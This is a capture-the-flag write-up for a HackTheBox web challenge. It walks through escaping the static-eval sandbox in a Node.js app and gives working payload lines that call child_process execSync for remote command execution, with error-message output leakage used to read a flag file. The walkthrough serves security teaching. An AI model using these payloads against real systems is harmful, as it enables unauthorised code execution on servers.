HackTheBox - Baby Breaking Grad Web Challenge
Challenge Description
We corrected the math in our physics teacher’s paper, and now he is failing us out of spite for embarrassing him at the university’s research symposium. Now, we can’t graduate unless we can do something about it…
Walkthrough
Upon visiting the website, we are greeted with this page. Clicking the “Did I pass?” button results in “No” message for both students. Let’s open Burp Suite and see what’s going on more closely.
We can see that the student’s name is sent to the server, and the server responds with “Nope.” Our request is sent to the /api/calculate
endpoint, suggesting that some calculations are happening in the backend to check if we passed. So let’s inspect the source code.
Code analysis
While inspecting index.js
, we notice a few things:
- At line 20, the formula can have different values.
- At line 22, there is a blacklist of students.
Let’s investigate the StudentHelper.js
file, to see exactly what’s going on.
From this code, we observe that:
- The
static-eval
package is used. - Students “Baker” and “Purvirs” are blacklisted.
- If a student is not blacklisted, it uses
evaluate
to parse the formula.
Before exploring a code injection vulnerability in static-eval
, let’s test our understanding of the code by trying to get a passing grade. We know it expects the following parameters exam
, paper
, and assignment
.
Testing the functions
We start with these really bad grades, and as expected, we fail.
After modifying the formula to add ten points to the exam grade, we pass!
Now that we understand the calculation process, let’s delve deeper into static-eval
to find a command injection vulnerability that we could exploit when the server parses our formula.
Getting remote command execution
While examining its repository, I noticed this interesting line of code. If we can execute the right function, we might achieve code execution.
After further research, I found this post, which shows how to achieve our goal with the following code:
1
(function({x}){return x.constructor})({x:"".sub})("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
We will merge this payload with previous code from the repo to create a new payload. Using the sleep
command to check if our injection was successful:
1
(function myTag(y){return ''[!y?'__proto__':'constructor'][y]})('constructor')('console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"sleep 5\").toString())')()
Note: Replace double quotes with single quotes, as shown above.
We send our request, and we observe a five-second delay, confirming our code was executed successfully. Now, we need to retrieve the output of our code.
After more research, I found that we could extract the output through error messages using throw new Error()
.
In JavaScript,
throw new Error()
is a way to create and throw an error.throw
keyword is used to throw or raise an exception. It can then be followed by any JavaScript expression, in our case we are creating a new instance of theError
class, a built-in JavaScript object for handling errors.
By replacing console.log
with throw new Error()
, it should work as intended.
1
(function myTag(y){return ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(global.process.mainModule.constructor._load(\"child_process\").execSync(\"ls\").toString())')()
Next, we’ll run the ls
command to locate our flag.
Getting the flag
And here we go! We see a file named flagFOJ94
. Now, we just replace the ls
command with cat flagFOJ94
to read its contents.
Thank you for reading 📖